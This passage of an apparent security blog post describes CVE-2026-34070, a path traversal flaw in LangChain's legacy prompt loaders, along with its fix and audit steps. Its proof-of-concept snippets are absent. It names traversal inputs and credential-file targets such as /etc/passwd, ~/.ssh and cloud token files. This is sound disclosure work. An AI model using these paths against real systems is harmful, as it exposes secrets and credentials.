I kept reading.

The Vulnerable Code

Three internal functions were at the center of this:

• _load_template() — reads files referenced by template_path, suffix_path, and prefix_path
• _load_examples() — reads files referenced by the examples key when it's a string
• _load_few_shot_prompt() — reads files referenced by example_prompt_path

The file-extension checks were there. .txt for templates. .json, .yaml, .yml for examples. But there was nothing stopping those paths from being absolute (/etc/passwd) or traversal-based (../../../../home/user/.ssh/). The extension filter gave a false sense of security — it just meant an attacker had to pick the right extension, not that the attack was blocked.

These functions are all reachable through two public-facing APIs: load_prompt() and load_prompt_from_config().

Proof of Concept

The simplest version looked like this:

That's it. Pass in an absolute path, get the file contents back wrapped in a PromptTemplate. No authentication. No special privileges. If you can influence the config dict, you can read files.

Directory traversal worked just as cleanly:

The JSON/YAML variant was arguably more dangerous because of the kinds of files it could reach:

.docker/config.json contains your Docker Hub credentials. ~/.azure/accessTokens.json has your Azure tokens. Kubernetes manifests, CI/CD configs, internal application settings — anything with the right extension sitting anywhere on the filesystem was fair game.

The Real-World Attack Surface

The CVSS score came in at 7.5 High, with a vector of AV:N/AC:L/PR:N/UI:N — network-accessible, low complexity, no privileges, no user interaction needed.

The score is constrained below 9+ because the file-extension check does limit which files can be read. But 7.5 still understates the real-world impact in certain deployment patterns.

Think about where this lands in production:

• Low-code AI builders that let users configure prompts through a UI — if the backend passes user-controlled configs directly to load_prompt_from_config(), every user is a potential attacker.
• API wrappers that expose prompt loading endpoints, assuming the library handles sanitization.
• Cloud-deployed apps where environment secrets are mounted as files (a very common pattern on Kubernetes, AWS ECS, and GCP).

In those environments, the "constrained by file extension" limitation matters a lot less. An attacker can simply target files they know exist with the right extension. On a typical cloud instance: requirements.txt, config.yaml, .env.yaml, mounted secret files with .json extensions — the list is long.

Why This Existed in the First Place

The affected functions are described in the advisory as "undocumented legacy APIs." They predate the current langchain_core.load serialization system (dumpd/dumps/load/loads), which uses an allowlist-based model and doesn't perform filesystem reads.

The new APIs exist. They're better. But the old code was never cleaned up — it just sat there, reachable, with no validation, waiting.

This is a pattern worth paying attention to. In fast-moving open-source projects, especially ones that grew as quickly as LangChain did, technical debt accumulates in the corners. Legacy code that was "never really intended for users" doesn't get the same scrutiny as the primary API surface. But it's still callable. It's still in the package. And if it reads files from disk, it's a potential vulnerability.

The Fix

The patch landed in langchain-core 1.2.22. The fix adds path validation that rejects both absolute paths and .. traversal sequences before any file is opened. An escape hatch — allow_dangerous_paths=True — is available for applications that genuinely need to read from trusted paths, with the explicit acknowledgment that the caller is opting into the risk.

The legacy APIs have also been formally deprecated with this release. They'll be removed entirely in 2.0.0. If you're using load_prompt() or load_prompt_from_config() anywhere, migrate to the langchain_core.load equivalents now rather than waiting for the breaking change.

Update immediately:

Verify you're on 1.2.22 or newer:

What to Check in Your Own Codebase

If you're building on LangChain, a quick audit is worth running:

1. Search for load_prompt and load_prompt_from_config in your codebase. If they appear, check what's being passed to them.
2. Ask whether any config dicts flowing into these functions contain user-influenced values. If the answer is yes, you were potentially vulnerable before updating.
3. Review your deployment's file layout. Understand what files with .txt, .json, or .yaml extensions exist on your instances and what they contain.

Closing Thought

Security bugs in AI infrastructure are going to matter more, not less, as these systems handle more sensitive workloads. LangChain's team responded well — the fix is clean, the deprecation path is clear, and the advisory documentation is thorough.

But it's a good reminder that the attack surface of an AI application isn't just the model. It's every library in the stack, every legacy function that never got cleaned up, every place where "the user probably won't pass untrusted input here" turned out to be an assumption rather than a guarantee.

Read the code. Especially the old parts.

CVE-2026-34070 was assigned to this vulnerability. The full advisory is available at the LangChain GitHub Security Advisory.